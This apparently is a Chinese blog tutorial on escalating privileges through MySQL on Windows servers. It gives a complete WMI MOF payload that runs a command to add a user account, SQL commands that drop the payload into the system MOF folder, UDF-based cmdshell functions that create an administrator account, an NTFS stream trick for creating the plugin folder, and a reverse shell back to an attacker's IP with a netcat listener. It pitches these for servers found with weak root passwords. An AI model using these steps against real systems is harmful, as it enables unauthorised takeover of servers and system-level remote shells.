最近在測試一個項目,遇到了MYSQL數據庫,想盡辦法提權,最終都沒有成功,很是郁悶,可能是自己很久沒有研究過提權導致的吧,總結一下MYSQL提權的各種姿勢吧,權當復習了。關於mysql提權的方法也就那么幾種,希望也能幫到各位小伙伴們。
一、利用mof提權
前段時間國外Kingcope大牛發布了mysql遠程提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),劍心牛對MOF利用進行了分析,如下:
Windows 管理規范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:
方法 1: 運行 MOF 文件指定為命令行參數將 Mofcomp.exe 文件。
方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。
Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。
第三種方法僅為向后兼容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本后,不應使用。
具體到mysql提權中,我們又該怎么利用呢?
1、找一個可寫目錄上傳mof文件,我這里上傳到了 C:/wmpub/nullevt.mof 代碼如下。
01 |
#pragma namespace ( "\\\\.\\root\\subscription" ) |
03 |
instance of __EventFilter as $EventFilter |
05 |
EventNamespace = "Root\\Cimv2" ; |
07 |
Query = "Select * From __InstanceModificationEvent " |
08 |
"Where TargetInstance Isa \"Win32_LocalTime\" " |
09 |
"And TargetInstance.Second = 5" ; |
10 |
QueryLanguage = "WQL" ; |
13 |
instance of ActiveScriptEventConsumer as $Consumer |
16 |
ScriptingEngine = "JScript" ; |
18 |
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")" ; |
21 |
instance of __FilterToConsumerBinding |
24 |
Filter = $EventFilter ; |
其中的第18行的命令,上傳前請自己更改。
2、執行load_file及into dumpfile把文件導出到正確的位置即可。
1 |
select load_file( 'C:/wmpub/nullevt.mof' ) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof' |
執行成功后,即可添加一個普通用戶,然后你可以更改命令,再上傳導出執行把用戶提升到管理員權限,然后3389連接之就ok了。
二、利用UDF提權
udf提權這是最常見的提權方式了,但是往往在執行過程中老是遇到"Can't open shared library"的情況,這里我們可以利用NTFS ADS流來解決這個問題。
1、最常見的是直接使用udf.php此類的工具來執行udf提權,具體如下。
連接到mysql以后,先導出udf.dll到c:\windows\system32目錄下。
2、創建相應的函數並執行命令,具體如下:
1 |
create function cmdshell returns string soname 'udf.dll' ; |
2 |
select cmdshell( 'net user waitalone waitalone.cn /add' ); |
3 |
select cmdshell( 'net localgroup administrators waitalone /add' ); |
4 |
drop function cmdshell; 刪除函數 |
5 |
delete from mysql.func where name = 'cmdshell' 刪除函數 |
3、某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,但是默認情況下plugin不存在,怎么辦? 還好有大牛研究出了利用NTFS ADS流來創建文件夾的方法
3 |
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION' ; |
5 |
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION' ; |
執行成功以后再進行導出即可。
三、反彈端口連接提權
假如我們掃到了一個mysql的root弱密碼,並且可以外連,但是服務器上面的網站又無法Getshell,這時我們怎么辦呢?
1、利用mysql客戶端工具連接mysql服務器,然后執行下面的操作。
1 |
mysql.exe -h 172.16.10.11 -uroot -p |
4 |
mysql> select backshell( "YourIP" ,2010); |
2、本地監聽你反彈的端口
nc.exe -vv -l -p 2010
成功后,你將獲得一個system權限的cmdshell,其實這個也是利用的UDF提權。